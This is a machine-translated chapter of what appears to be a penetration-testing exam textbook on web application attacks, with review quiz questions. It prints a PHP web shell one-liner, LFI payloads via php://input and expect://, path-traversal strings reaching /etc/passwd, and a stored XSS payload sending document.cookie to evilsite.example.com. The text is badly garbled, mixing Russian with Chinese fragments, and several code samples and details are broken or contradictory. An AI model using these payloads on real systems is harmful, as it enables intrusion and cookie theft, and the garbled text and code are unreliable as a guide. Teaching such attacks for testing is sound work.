Изменение параметровэто метод атаки,Он использует недостаток дизайна аутентификации в веб-приложениях.,Проверьте успешный вход в систему на основе фиксированных параметров. Данный пример параметра аутентифицирован = нет,Этот параметр будет передан ввеб-сайтизHTTP GET-запрос получен, пользователь не сможет получить доступ к ограниченному контенту с веб-сайта до тех пор, пока не пройдет аутентификацию. Чтобы проверить и посмотреть, можете ли вы изменить параметры, вы можете изменить исходные параметры на аутентификацию = да и попытаться получить доступ к ограниченному контенту на странице. В случае успеха страница уязвима для изменения. параметровиз影响。Показать скрытые формы в веб-браузереполя пропускаютсяWeb服务器上из访问控制из另一种方法。нравиться果表单字段标记为隐藏,контент не будет отображаться в браузере,例нравиться网页上из管理功能。Дан файл с именемis Если скрытое поле Admin=0, пользователь не будет идентифицировать веб-приложение как допустимого «Администратора» для этого приложения. Однако если вы измените поле так, чтобы оно было Admin=1 и отправьте еще один HTTP для страницы. Запрос GET без проверки изменений веб-сервером может позволить отобразить содержимое страницы, идентифицируя вас как действительного «администратора» приложения без предварительной проверки доступа должным образом. Вы можете использовать этот тип атаки с помощью Burp или воспользоваться инструментами разработчика, доступными в вашем любимом веб-браузере, например Firefox, Chrome и т. д.

Предсказуемый токен сеанса

Большинство веб-фреймворков предназначены для использования аутентификации с использованием токена сеанса или файлов cookie. Аутентификация на основе сеанса учитывает состояние, поэтому и сервер, и клиент сохраняют запись сеанса. Каждый раз, когда пользователь запрашивает доступ к данным, данные сеанса передаются в запрос и проверяются сервером. Заголовок Set-Cookie (например: Set-Cookie: sessionID=ksirut8jsl219485a1f459f2siper5) включается в ответ сервера клиенту, а значение файла cookie сохраняется в браузере клиента. Заголовок ответа Set Cookie может сопровождаться дополнительными атрибутами, информирующими клиентский браузер о том, как обрабатывать файлы cookie, включая

lHTTPOnly,Это означает, что доступ к файлу cookie невозможен через JavaScript.,例нравиться通过межсайтовый Атаки скриптинга (XSS) крадут файлы cookie.

lпуть,Используется для определения URL-адреса, для которого действителен файл cookie.

lдомен,Определяет домен, для которого действителен файл cookie (например, example.com).

lExpires,Сообщает браузеру сохранять файлы cookie локально для постоянного хранения.,И браузер будет использовать его для будущих запросов до истечения срока действия. если не установлено,Файл cookie действителен только на протяжении всего сеанса браузера.

lБезопасность,Используется для того, чтобы файлы cookie никогда не передавались через соединения без шифрования (например, HTTP). Когда злоумышленники прослушивают сеть,Это помогает предотвратить кражу учетных данных.

Когда клиент делает последующий запрос к серверу,Значение файла cookie будет сопровождать каждый запрос. в некоторых случаях,Тестирование на проникновение может потребоватьcookieруководитьреверс-инжиниринг,чтобы определить, как файлы cookie создаются или защищаются. Некоторые веб-платформы могут подписывать или кодировать файлы cookie (т. е. значения в кодировке Base64).,чтобы скрыть файлы cookie и предотвратить их подделку во время передачи. В главе 4,Мы обсудили необходимость случайных токенов сеанса.,чтобы предотвратить перехват законных сеансов. В случае, если разработчик использует свой собственный идентификатор сеанса,Если случайность и сложность не полностью включены в уравнение,Вы можете манипулировать значениями файлов cookie для идентификации действительных сеансов.,Это означает, что приложение может быть уязвимо для атак методом перебора. Сейчас,Давайте продемонстрируем этот тип атаки,Украсть законные сеансы с сервера, манипулируя значениями файлов cookie. Я использовал устаревший проект OWASP WebGoat (https://github.com/WebGoat/WebGoat-Legacy) и протестировал пример «захвата сеанса» на наличие недостатков управления сеансом. Первая часть атаки соберет достаточное количество образцов файлов cookie для анализа.,Определить схему генерации файлов cookie веб-фреймворка. Затем,Мы создадим действительный файл cookie (манипуляция файлами cookie) для проведения атаки. После входа в систему с использованием случайного имени пользователя и пароля,Система сообщит вам, что было использовано «неверное имя пользователя или пароль», но,Приложение предоставляет вам еще один файл cookie под названием WEAKID.,Его значение WEAKID=17280-1531178283601. немного покопавшись,я могу расшифроватьcookieиз第一部分17280этосерийный номер,Каждый раз я уничтожаю сессию и пытаюсь войти снова,серийный номерувеличится на один。cookieиз第二部分似乎是以миллисекунда为单位из时间戳(в соответствии сдокумент)。существовать登录и注销了大约五次之后,Я знал, что не смогу так легко угадать числа. так,我转КBurp Sequencer, который помогает генерировать достаточно значений файлов cookie, чтобы угадать существующие файлы cookie сеанса. Я перехватываю запрос на вход в приложение и пересылаю его в Sequencer. В Sequencer выберите опцию Cookie, как показано на рисунке 9-5.

Рисунок 9-5. Положение метки секвенсора Burp Sequencer.

Затем я нажал кнопку «Начать съемку в реальном времени». Я жду, пока не получу достаточно большую выборку токенов, прежде чем останавливать процесс захвата. Имея более 2000 токенов, я нажал кнопку «Стоп», чтобы остановить процесс захвата, а затем нажал «Сохранить токены», чтобы сохранить токены в файл для автономного анализа. Затем я вернулся в Sequencer и щелкнул вкладку «Ручная загрузка». Отсюда я загрузил токен из файла, который только что сохранил, с помощью кнопки «Загрузить», как показано на рисунке 9-6.

Рисунок 9-6 Ручная загрузка образцов токенов в Sequencer

Начиная сверху, я сразу заметил пробел в числах между 17283 и 17285. Из-за этого нарушения последовательности я почти уверен, что токен был выпущен для 17284, но в моем списке его нет. Я возвращаюсь в Burp и пересылаю исходную сессию входа в Repeater, где я могу манипулировать значениями cookie в попытке перехватить сессию. Проверив свои подозрения относительно отсутствующего значения токена, я обнаружил, что сеанс действителен, и на основании ответного сообщения сервера успешно перехватил существующий сеанс, как показано на рисунке 9-7.

9-7 сеансов взлома в Burp

Содержит атаки

Возможность загружать произвольный контент на веб-страницу называется Содержит. действие. Файлы для веб-приложений атаки Есть два типа:本地文件包含и远程文件包含。существоватьPHPв приложении,Эти уязвимости обычно эксплуатируются путем использования недостатков кода с помощью следующих встроенных функций: include() и require(). Эти типы атак предоставляют злоумышленнику первоначальный вектор доступа.,и поможет дальнейшей атаке на систему.

Удаленные и локальные файлы включают в себя

Большинство платформ веб-приложений, таких как PHP, поддерживают включение файлов. Эксплойты включения файлов используют функцию «динамического включения файлов» в веб-приложениях. Существует два типа включения файлов: локальное (LFI) и удаленное (RFI). Локальные файлы содержат файлы за пределами корневого веб-каталога и отображают содержимое файлов локальной операционной системы в окне браузера, например файл паролей example.php?page=../../../../etc/passwd . В некоторых случаях LFI может привести к удаленному выполнению кода. Один из способов протестировать удаленное выполнение кода — использовать оболочку PHP. PHP Оболочка Expect разрешает выполнение системного заказа: пример example.php?page=expect://id Однако оболочка Expect по умолчанию не включена; Еще одна оболочка PHP — это входной поток, который позволяет считывать необработанные данные из тела запроса. Для HTTP POST-сообщение, которое можно выполнить в локальной операционной системе, используя следующий пример:

Язык кода:javascript
копировать
POST /example.php?page=php://input&cmd=id HTTP/1.1

В теле сообщения вы можете использовать следующий PHP-код, который будет считываться и обрабатываться через входной поток PHP:

Команда cmd будет выполнена с помощью функции Shell_exec(), которая в этом случае возвращает идентификатор пользователя, которому принадлежит процесс веб-сервера. Удаленное включение файлов позволяет отображать файлы или даже целые страницы на уязвимой веб-странице. Если параметры HTTP-запроса можно изменить так, чтобы они указывали на вредоносное местоположение, веб-приложение может быть уязвимо для RFI, что, в свою очередь, может позволить запуск вредоносного кода на сервере или клиенте (т. е. вредоносный JavaScript, похищающий данные cookie). Пример RFI-атаки выглядит так:

Язык кода:javascript
копировать
http://example.com/example.php?file=http://www.maliciousexample.com/malicious.php.

И LFI, и RFI являются опасными методами.,可以通过正确использовать输入验证来缓解。использоватьWeb应用程序糟糕из输入验证и内容控制из另一种方法是Выполнить загрузку вредоносного файла。нравиться果Web应用程序允许未经授权из用户上载文件并执行,Злоумышленник может скомпрометировать систему. Веб-серверы, поддерживающие различные языки веб-скриптов, такие как PHP, могут легко стать жертвой бэкдоров. Управление доступом к местам загрузки файлов и контроль поддерживаемых типов файлов — это способы минимизировать такие уязвимости. Иногда вам просто нужен простой однострочник PHP! На рис. 9-8 показано использование веб-выполнения PHP для проверки Linux. Пример команды id. следующим образом:

Рисунок 9-8 Загрузка вредоносного файла

Язык кода:javascript
копировать
<?php if (isset (REQUEST [cmd'])echo"<pre>";
$cmd (REQUEST [cmd']);
system($cmd);echo "</pre>";die;}
?>

Использование неправильных настроек безопасности

Я думаю,Серверы веб-приложений, которые неправильно настроены или не имеют надлежащей гигиены (например, управление исправлениями), скорее всего, станут объектами атак.,Это неудивительно. Как упоминалось в главе 4,产品供应商изПароль учетной записи по умолчанию通常可以существовать开源单词列表中找到,Точно такие же, как те, которые мы использовали на протяжении всей этой книги.,也可以существоватьKali Находится в /usr/share/wordlist в Linux. На момент написания этой статьи список паролей CIRT (https://cirt.net/passwords) (CIRT — это печально известный Nikto Разработчики инструментов сканирования веб-приложений перечислили более 2080 паролей по умолчанию, используемых более чем 500 различными поставщиками. Эти учетные записи используются для первоначальной установки и настройки. В большинстве случаев поставщик порекомендует отключить учетную запись или хотя бы сменить пароль по умолчанию. Апач Tomcat (http://tomcat.apache.org) — известный продукт с открытым исходным кодом, используемый для размещения и развертывания веб-приложений на основе Java.

В более ранних версиях программного обеспечения для развертывания и управления этими приложениями использовался сервлет Tomcat Manager (сервлет — это программа Java, расширяющая возможности связи сервера, такие как получение сообщений и отправка ответов, в основном с использованием HTTP). Tomcat поставляется с включенным приложением Manager и известными именем пользователя и паролем по умолчанию Tomcat/Tomcat. Со временем эти сертификаты стали использоваться и злоупотреблять ими для компрометации организационных систем; однако, чтобы смягчить эту распространенную угрозу, Apache Tomcat начал поставлять установки продуктов по умолчанию с отключенным приложением Manager. Продукт более безопасен, по крайней мере, сразу после установки, а благодаря возможности развертывания его как решения «программное обеспечение как услуга» (SaaS) разработчики и системные администраторы смогут меньше беспокоиться о недостатках установки.

OWASP заявляет, что злоумышленники часто пытаются использовать неисправленные недостатки/ошибки, получить доступ к учетным записям по умолчанию или неиспользуемым веб-страницам, незащищенным файлам и каталогам и т. д., чтобы получить несанкционированный доступ к системе или знания. Примерами сценариев атаки могут быть плагины или учетные записи/пароли по умолчанию, установленные вместе с приложением, плохой контроль доступа, невозможность доступа к файлам за пределами корневого веб-сайта (самый верхний каталог, в котором находятся общедоступные веб-файлы и каталоги) или даже отображение приложения. подробные сообщения об ошибках (например, трассировка стека), которые могут раскрывать версии веб-компонентов, которые могут содержать известные уязвимости. В этом разделе мы описываем некоторые из этих методов атак, включая обход пути, раскрытие конфиденциальных данных и слабый контроль доступа.

Слабый контроль доступа

После того как пользователь вошел в систему и прошел аутентификацию, веб-сервер (или веб-приложение) должен быть настроен на ограничение доступа пользователя на основе политик контроля доступа. Политики контроля доступа определяют требования к тому, как доступ к ресурсам управляется и контролируется на основе правил наименьших привилегий. Например, HTTP-сервер Apache ограничивает доступ к веб-каталогам на основе имен хостов или IP-адресов, поскольку некоторый контент на веб-сайте может быть недоступен для общественности. В файле httpd.conf (файл конфигурации HTTP Apache) можно применить следующие ограничения, чтобы разрешить частным IP-адресам доступ к закрытым папкам на веб-сервере и запретить кому-либо еще:

Язык кода:javascript
копировать
<Directory/htdocs/restricted/>
Order Deny,Allow
Deny from all
A11 owfrom10.1.0.0/16
</Directory>

намекатьApache HTTP服务器использовать模块实现其中изнекоторый功能。模块是服务器功能из扩展。例нравиться,mod_authz_host模块可用于в соответствии сIPАдресный контроль каталогов на сервере、文件и位置из访问,иmod_ftp模块可用于允许用户использоватьftpСкачать или загрузить файлы。Apacheсуществовать其核心发行版中包含许多模块;но,Он поддерживает множество дополнительных компонентов, которые не установлены по умолчанию. Посмотреть Список модулей Apache, поддерживающих HTTP-сервер, можно здесь:

http://httpd.apache.org/modules.

Если на веб-сервере отсутствует этот уровень контроля доступа, любой пользователь, просматривающий страницу в папке /restricted, может получить доступ к содержимому. Еще одна вещь, которую следует учитывать при использовании Apache, — это то, что индексирование каталогов (или просмотр каталогов) включено по умолчанию. Эта функция аналогична команде ls в Unix или команде dir в Windows. Если просмотр каталогов включен и контроль доступа отсутствует, злоумышленнику не придется полагаться на методы грубой силы для получения веб-страниц и/или подкаталогов. На рис. 9-9 показан пример индекса каталога /admin.

Рисунок 9-9 Индекс каталога

Чтобы облегчить эту ситуацию, можно добавить индексы. Вы хотите отключить просмотр каталогов для html в каталоге (если файл html пуст, злоумышленник увидит пустую страницу) или вы можете настроить файл конфигурации Apache HTTP из заданного каталога или всего веб-сайта. Элементы управления веб-доступом для управления отображением контента так же важны, как и контроль ненужного раскрытия конфиденциальных объектов или информации в веб-приложениях.

Раскройте конфиденциальные данные

В главе 5,Мы обсудили SAST и DAST,Эти два метода могут помочь выявить недостатки разработки кода в вашем приложении. Однако,в некоторых случаях,Недостаток может не быть ошибкой программирования.,Скорее, это слабость способа защиты данных или информации. определенные виды информации,Например, пароли, номера кредитных карт, номера социальной безопасности, информация о здоровье и конфиденциальности и т. д.,Требуется определенный уровень защиты. Как упоминалось в предыдущих главах,шифрование是一种可以用来保护此类данные机密性из方法。然и,Если реализация механизма защиты неправильно настроена или неадекватна,Атака, нацеленная на эту уязвимость, может иметь катастрофические последствия. OWASP предоставляет три сценария атаки при утечке конфиденциальных данных:

lСцена №1应用程序использовать自动база данныхшифрованиевернобаза данных中из信用卡号руководитьшифрование。然и,при получении,Эти данные генерируются автоматически,Это позволяет уязвимости SQL-инъекции получать номера кредитных карт в открытом виде.

lСценарий №2сайтНе использовать или принудительно использовать TLS для всех страниц или он поддерживает слабое шифрование.。Злоумышленник отслеживает сетевой трафик(例нравиться,В беспроводной сети, которая не является Безопасностью),Понизить соединение с HTTPS на HTTP,перехватить запрос,и украсть файлы cookie сеанса пользователя. Затем,Злоумышленник воспроизводит этот файл cookie и перехватывает сеанс пользователя (прошедшего проверку подлинности).,Доступ или изменение личных данных пользователя,или наоборот,Злоумышленник может изменить все передаваемые данные (например,,получатель перевода).

lСценарий №3парольбаза данныхиспользоватьНесолёное или простое хеш-хранилище每个人изпароль。文件上载лазейки允许攻击者检索парольбаза данные. Все несоленые хеши доступны с радужной таблицей, показывающей предварительно вычисленные хеши. Хэши, сгенерированные простыми или быстрыми хэш-функциями, могут быть взломаны графическим процессором, даже если они «соленые».

Утечки конфиденциальных данных также могут иметь форму сообщений об ошибках или ссылок на внутренние функции, которые непреднамеренно раскрывают истинную природу запроса. Это называется небезопасной прямой ссылкой на объект (IDOR). Например, предоставляйте записи базы данных (например, первичные ключи) в качестве веб-параметров или ссылочных объектов в URL-адресах. IDOR сам по себе не является уязвимостью; однако, если база данных или сервер приложений не имеют соответствующих средств управления доступом, злоумышленник может определить схему или схему объекта, на который ссылается. Например, если значение внешнего ключа вызывается напрямую через веб-параметр, злонамеренный пользователь, прошедший проверку подлинности в системе, может изменить параметр для доступа к содержимому профиля другого пользователя. Для демонстрации я использовал веб-приложение OWASP Web Goat Project под названием Goat Hills Financial Human Resources и вошел в систему как пользователь Tom, чтобы получить доступ к данным профиля пользователя Eric. Используя прокси-сервер Burp, я перехватил запрос HTTP GET для профиля представления действий, чтобы идентифицировать параметры, переданные в запросе, как показано на рисунке 9-10.

Рисунок 9-10 Параметры IDOR перехвата

Я заметил параметр сотрудника_id=105, который, по-видимому, является прямым указателем объекта, уникальным для пользователя Тома. Используя Burp Repeater, я изменил параметры и воспроизвел HTTP-запрос GET, но теперь запросил сотрудника_id=104, чтобы проверить, является ли поле инкрементным. После отправки запроса я смог получить профиль Эрика, как показано на рисунке 9-11.

Рисунок 9-11 Изменение параметров IDOR

Если параметр IDOR был скрыт или запутан,это затруднит успех атаки,Или, может быть, это менее очевидно. в любом случае,Этот вопрос является прямым результатом неправильного контроля доступа.,конечная зависимостьWebибаза сервер данных для правильной проверки этих типов запросов.

Обход каталогов и путей

Обход каталогов и wayattack – это разновидность инъекционной форма атаки, которая позволяет злоумышленникам получить доступ к содержимому, которое обычно недоступно, используя ярлыки для просмотра за пределами корневой папки веб-сервера. Используйте тестирование на проникновение, предоставленное Лабораторией тестирования на проникновение веб-сайт ISO Пример обхода каталогов из Интернета, где мы можем продемонстрировать этот тип атаки. Учитывая следующий URL-адрес:

Язык кода:javascript
копировать
http://192.168.1.108/dirtrav/example1.php?file=hacker.png

Параметр file= используется для получения изображения с именем hacker.png. Если мы посмотрим на PHP-код, который делает это возможным, мы увидим, что происходит за кулисами:

Язык кода:javascript
копировать


$UploadDir ='C:\\xampp\\htdocs\\sec\16\\';
if ((!isset($_GET['file'])))
        die();
$file = $_GET['file'];
$path =$UploadDir.$file;
if (!is_file($path))
        die();
$handle = fopen($path,'rb');
do{
        $data= fread($handle,8192);
        if(strlen($data)==0){
                Break;
        }
        echo($data);
        }while(true);
fclose ($handle);
exit();
?>
Язык кода:javascript
копировать
http://127.0.0.1:8100/sec/16/example1.php?file=..\..\..\..\..\Windows\win.ini

Переменная UploadDir определяет абсолютный путь в операционной системе как «/var/www/files/».,Здесь находится файл hacker.png.fileПеременная используетсяОпределен метод _GET['file'], который анализирует имя файла из параметра file=.path变量声明文件существовать服务器上应位于из完整путь。нравиться果пути не существует, запрос имеет значение null. Затемhandle打开文件изпуть以руководить读取("rb")。do-whileЦикл чтения переменных файла,Максимальный размер блока составляет 8192 байта. Если длина равна 0,В противном случае программа прерывается;,Содержимое файла будет прочитано и отображено в веб-браузере. Затем используйте функцию fclose(), чтобы закрыть файл перед выходом из программы.

Итак, теперь давайте проверим, уязвимы ли параметры для обхода пути. Чтобы проверить это, мы можем получить доступ к файлу passwd локальной операционной системы, который обычно не используется в качестве веб-страницы, используя следующий файл /../../../../../etc/passwd вместо hacker. png. Косая черта и точки указывают веб-операции пройти через несколько каталогов в пути, точно так же, как команда изменения каталога «cd» в окне терминала. Однако в Windows косая черта — это обратная косая черта, а не прямая косая черта, которая используется для разделения каталогов в пути к файлу (например, \..\..\..\C:\boot.ini). В Windows разделители каталогов ("/" или "\") могут идти вперед или назад. Однако в Unix это может быть только косая черта («/»). Это означает, что в Windows для обхода фильтров веб-содержимого, которые ищут только «/» во вредоносных запросах, вы можете использовать другие разделители каталогов. Как показано на рисунке 9-12, атака с обходом каталога на цель Unix оказалась успешной.

Рисунок 9-12 Обход каталога с помощью Burp

намекать:существовать测试путь При прохождении атаки,Доступно несколько вариаций. В основном речь идет о кодировании пути каталога или запуске правильных escape-последовательностей для взлома типичных веб-фильтров. Чтобы обойти обычные фильтры контента, которые ищут специальные символы, такие как косая черта.,Злоумышленники могут использовать Unicode/UTF-8 или даже кодировку URL.,Например:

%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2fect%2 проходит для достижения того же результата.

Причина, по которой обход пути успешен, заключается в,Никакая программная логика не блокирует доступWeb根目录以外из文件。облегчитьпуть遍历из一种方法是существоватьPHPКод начинается сПеременная файла получает имя на основе переменной файла. Это вернетсяfileиз尾部nameкомпоненты,любой доступ

file = basename(_GET['file']);

Уведомление:На поверхности,наверное, оченьНеразличимые файлы, содержащие уязвимости (LFI и RFI) и путь или обход каталога。主要区别существовать于,Для обходных атак,Вы можете только читать содержимое локальных ресурсов (например, /etc/passwd).,И включив файл,Ресурсы можно загружать и выполнять в контексте приложения.,Тем самым обеспечивая выполнение кода.

клиентская атака

Большую часть этой главы мы обсуждали атаки, которые используются на стороне сервера. Однако когда дело доходит до атак через Интернет, клиенты также становятся легкой мишенью. В содержимом сервера (например, HTML и JavaScript) могут существовать уязвимости, которые можно использовать в веб-браузере или плагине браузера жертвы. Исходный код всегда доступен, поскольку он выполняется на стороне клиента. Руководство по тестированию OWASP, 4-е издание, глава 4.12 «Тестирование на стороне клиента» определяет различные области тестирования для клиента, которые следует оценивать во время тестирования приложения, включая следующие векторы атак:

lмежсайтовый скриптинг(XSS)

lHTML-инъекция

lПеренаправление URL-адреса клиента

LCSS-инъекция

lОперации с клиентскими ресурсами

lОбмен ресурсами между источниками

lМежсайтовая перепрошивка

lНажмите «Угон»

lПодделка межсайтового запроса

В этом разделе мы представим некоторые функции,связано с доменом CompTIA, связанным с тестированием на проникновение + целями экзамена.,Включая HTML-инъекцию, XSS, CSRF и кликджекинг.

HTML-инъекция

Возможность вызова любой HTML-инъекции веб-страницы HTML-инъекцией. Когда пользовательский ввод не очищается должным образом,Встречается такой тип инъекции. Существует два типа HTML-инъекции.,Хранить HTMLиОтразить HTMLхранилищеизHTML-инъекция是一种持久из注入类型,Когда злоумышленник вставляет HTML-код, который постоянно хранится на стороне сервера и остается доступным для других пользователей, посещающих взломанную веб-страницу.,Это произойдет. Эти типы атак могут происходить в управляемых пользователями областях веб-сайтов, таких как блоги.,в блоге,Даже анонимные пользователи могут отправлять сообщения ничего не подозревающим жертвам.,нравиться管理员。отражениеизHTML-инъекциялазейки是一种非持久из浏览器执行攻击。例нравиться,Вставьте HTML-разметку в текстовое поле, введенное пользователем.,Например, поля входа в систему с именем пользователя и паролем. Если вы введете следующий HTML-тег вместе с поддельным паролем:

Hacker

При нажатии кнопки «Отправить» сайт может выдать сообщение об ошибке:

Неизвестный хакер с именем пользователя

Это очень простой пример, но он показывает, как отсутствие проверки ввода с сервера может позволить внедрить HTML-код в браузер жертвы.

межсайтовый скриптинг

XSS — это веб-уязвимость, которая позволяет злоумышленникам внедрять клиентские сценарии или HTML-код в другие веб-страницы для кражи информации или обхода аутентификации. Эта уязвимость связана с отсутствием проверки ввода на стороне сервера. Существует три типа XSS-уязвимостей:

lотражение,Внедрите код в один HTTP-ответ. Ниже приведен пример, который успешно выполняет отражениеXSS:

Пример:

index.php?page=

  • хранилище,Поместите хранилище внедренного кода в файл журнала.,украсть и перенаправить токены сеанса,Затем администратор может получить доступ к токену через веб-интерфейс:
Язык кода:javascript
копировать
<img src=xonerror=this.src='https://evilsite.example.com/?c='+document.cookie>

lна основе DOM,документверно象模型(DOM)существовать运行时从应用程序传递到浏览器,и используется для создания контента. В отличие от атак на хранилище или отражениеXSS, которые передаются обратно на сервер.,Исполнение происходит непосредственно в браузере пользователя.,Потому что не каждый объект рассматривается браузером как запрос. Если вход только на клиентском компьютере,Это может усложнить процесс обнаружения. Учитывая следующий пример объекта DOM, передаваемого клиентскому браузеру:

Все, что передается после «#» в URL-адресе, будет выполнено в веб-браузере:

Язык кода:javascript
копировать
http://example.com/xss/example9.php#message

Просто передайте URL:

Язык кода:javascript
копировать
http://example.com/xww/example9.php#<script>alert("DOMXSS")</script>

Для жертв, желающих щелкнуть ссылку, появится окно с предупреждением, очень похожее на отраженную XSS-атаку.

намекать:некоторыйWebБраузеры имеют встроенные фильтры контента.,чтобы предотвратить подобные атаки. NoScript (https://noscript.net) — это расширение браузера на основе браузера Mozilla, которое помогает предотвратить выполнение нежелательных сценариев в браузере и ограничивает выполнение только доверенными веб-сайтами.

Подделка межсайтового запроса

CSRF — еще одна клиентская инъекционная атака, которая заставляет пользователя выполнять действия против доверенного веб-сайта, аутентифицированного с помощью действительного сеанса. Векторы атак включают уязвимые веб-страницы, блоги, электронную почту и т. д. Эти атаки часто являются целевыми и в случае успеха могут привести к тому, что жертва приобретет предметы, переведет деньги, сменит пароли или, если жертва является администратором или имеет повышенные привилегии, целью атаки может быть создание или изменение информации в Применение. Емкость существующих учетных записей. Например, встраивание скрытого изображения в веб-сообщение в группе новостей, указывающее на вредоносный запрос на перевод средств с использованием «атакующего» сервлета. Если бы это был настоящий сервлет из банковского приложения и жертва входила в свою учетную запись, с ее счета было бы переведено 5000 долларов США. Сообщение выглядит безобидно, а размер изображения можно существенно уменьшить, чтобы оно не вызывало слишком большого количества Уведомлений в теле сообщения. Рисунок 9-13 представляет собой пример отправки потенциально безобидного сообщения группе пользователей. Рисунок 9-14 показан пример того, что происходит, когда сообщение открывается.

Рисунок 9-13 Пример сообщения сценария CSRF

Рисунок 9-14 Содержимое сообщения примера сценария CSRF

нажмите заложник

Кликджекинг — это прозрачное поведение,Обманывает жертв, заставляя их нажимать кнопки или ссылки на веб-страницах, с которыми они не собираются взаимодействовать. Кликджекинг — на стороне клиента Безопасностьвопрос,— это тип атаки, который можно использовать с различными атаками (например,,Социальная инженерия) действия, используемые вместе или по отдельности. Этот метод может быть использован для перехвата пользовательских сеансов через контролируемый злоумышленником веб-сайт.,Веб-сайт выполняет действия от имени учетной записи пользователя-жертвы против законного веб-сайта. При кликджекинге используются CSS, iframe и даже текстовые поля для загрузки законного веб-контента через веб-страницу, контролируемую злоумышленником. Например,Если жертва зашла в интернет-магазин и купила обувь,Злоумышленники могут использовать социальную инженерию, чтобы обманом заставить жертв получить доступ к их веб-сайту.,и может побудить пользователей нажать «Скидка 50 % на всю обувь».,Нажмите здесь». Изображение выглядит законным.,Но он находится прямо над законными веб-сайтами, ссылками «Удалить все товары из корзины» и «Выйти».,Это скрыто от жертвы. То, как пользователь нажимает на изображение, определяет, какое действие выполнит веб-сервер. Предыдущие атаки с использованием кликджекинга были нацелены на пользователей Twitter и Facebook.,Кликджекинг — это когда кликджекинг используется, чтобы убедить пользователей нажать кнопку для пересылки вредоносной веб-страницы (известной как червь Твиттера).,И злоупотребление функцией «Мне нравится» в Facebook, чтобы поставить лайк случайному веб-сайту. Одним из способов борьбы с кликджекингом является настройка веб-сервера.,Заставьте его использовать соответствующую политику контента (CSP) для запрета кадров из других доменов.,использоватьX-Frame-Options Заголовки ответов HTTP для ограничения загрузки веб-страницы. Дополнительную информацию можно найти на веб-сайте OWASP в «Шпаргалке по защите от кликджекинга», которая предоставляет дополнительный контекст для кликджекинга и других типов защиты на стороне клиента, чтобы помочь отразить попытки злоумышленников кликджекинга.

Обзор главы

Веб-технологии и технологии баз данных играют важную роль в большинстве организаций. Несколько лет назад простого наличия веб-сайта было достаточно, чтобы конкурировать на конкурентном рынке и позволить вашей клиентской базе увидеть, на что способна ваша компания. Сегодня компании вкладывают больше времени и усилий в присутствие в социальных сетях, таких как Facebook, Twitter, Instagram, LinkedIn и т. д., чтобы оставаться на связи с цифровым миром. В современном мире компании могут перемещать часть своих центров обработки данных в облако, чтобы сократить годовые эксплуатационные расходы и достичь более высокого уровня доступности системы. Организации должны оценить безопасность Интернета и баз данных внутри своей организации, поскольку наступил век цифровых технологий. Атаки на веб-технологии больше не являются просто атаками на стороне сервера. Более сложные атаки нацелены на конечных пользователей, поскольку большинство эксплойтов на стороне клиента довольно просты и требуют минимум усилий, что позволяет злоумышленнику получить большую выгоду. Пока вознаграждение перевешивает риск быть пойманным, злоумышленники будут продолжать находить новые способы использования достижений сетевых технологий.

вопрос

1. Во время тестирования на проникновение разработчик системы связывается с вами и спрашивает, можете ли вы помочь понять, что происходит в одном из файлов журнала Apache HTTP на сервере. ошибка. В файле журнала отображается следующее сообщение: Во время запроса HTTP GET. Разработчик знал, что запрос исходил не от текущего теста на проникновение, поскольку IP-адрес выходил за рамки участия. Какой тип атаки мог быть использован против целевого веб-сервера?

А. XSS-атака на основе DOM

B、 Подделка межсайтового запроса(CSRF)

C. XXE-инъекция

D、 SQL-инъекция

2. Член группы тестирования на проникновение попытался вставить вредоносную запись в базу данных MySQL, которая могла бы выполнить некоторый тестовый код для кражи файлов cookie из веб-браузера пользователя. Однако оператор INSERT не работает. Глядя на следующий синтаксис, каковы возможные причины ошибки?

mysql> INSERT into app.data (header, body, message, webForm) VALUES ("HACK", 404, "HACK");

А. Во втором значении столбца отсутствуют кавычки.

Б. В операторе INSERT отсутствует значение четвертого столбца, и он не может быть нулевым.

C. Одно из значений поля превышает ограничение на размер.

D. В операторе INSERT нет ошибок.

3. Если скомпрометированный пользователь базы данных имеет права администратора (например, root) или повышенные права, а база данных настроена с помощью функций sys_exec() и __________, UDF может помочь выполнять команды во время тестирования на проникновение.

A. sys_eval()

B. system_eval()

C. exec_sys()

D. sys_udf()

4. Учитывая следующий URL-адрес, какие два метода можно использовать для выполнения SQL-инъекционного тестирования данных базы данных в веб-параметре? (Выберите два варианта) http://example.com/page.php?

id=1&acct=162;jsessionid=567323456798

A. ?id=1'&acct=144;jsessionid=567323456798

B. ?id=1'&acct=162';jsessionid=567323456798

C. ?id=1;--&acct=162;jsessionid=567323456798

D. ?id=1'&acct=144';jsessionid=567323456798

5. Вы попадаете на веб-страницу, требующую аутентификации с использованием действительного имени пользователя и имени входа. С CeWL вы решаете создать свой собственный словарный запас, используя контент, полученный с веб-сайта. На веб-сайте много страниц, и вы решаете начать со страницы index.html и пройти 5 страниц веб-сайта, чтобы определить длину слова не менее 8 символов. Какие параметры команды помогут вам составить список слов для поиска?

A. -d 5 -8

B. -w 8 -d 5

C. -m 8 -d 5

D. -a 8 -d 5

6. При тестировании веб-приложения, работающего на Windows Server 2016, вы обнаруживаете уязвимость веб-параметра, которая делает вас уязвимым для атак с обходом пути. Какой из следующих вариантов является лучшим выбором при демонстрации атаки с обходом пути?

A. ?id=C:\Windows\system32\etc/passwd

B. ?id=../../../../C:/Windows/etc/passwd

C. ?id=%20.%20C:/Windows/boot.ini

D. ?id=..\..\..\..\C:/Windows/boot.ini

7. Что из перечисленного является действительной клиентской атакой? (выберите все подходящие)

A、 нажмите заложник

B、 введение команд

C. Обход каталога

D、 Отразить HTML-инъекция

E. XSS на основе DOM

F. Перехват сеанса

8. Какова цель объектной модели документа (DOM) в веб-браузере пользователя?

A. Структурирование контента в браузере

Б. Передача сообщений другим объектам

C. Сохраните зашифрованное значение, за которым следует символ «#».

D. Помощь в защите от XSS-атак

9. Какова цель следующего PHP-кода?

do{

data=fread(handle,8192);

if (strlen($data)==0){

Break;

}

echo($data);

}while (true);

A. Creates a loop to echo the contents of данные, пока они не достигнут нулевой длины (создайте цикл для эхаданныеиз内容,пока его длина не достигнет 0)

B. Creates a loop, declares данные и проверяет размер переменной (создание цикла, объявлениеданные,и проверьте размер переменной)

C. Создает цикл для отображения содержимого данных.

D. Создает цикл, но убивает процесс, если данные меньше 8192 байт (создает цикл, но убивает процесс, если данные меньше 8192 байт)

10. Учитывая следующий URL-адрес, какой из следующих вариантов может быть IDOR? (Выберите все, что подходит.)

A. http://example.com/index.php?emp_id=12345

B. http://example.com/index.php

C. http://example.com/sales.php?acct=4532345

D. http://example.com/profile.php?state=CA&zip=90001

вопросы и ответы

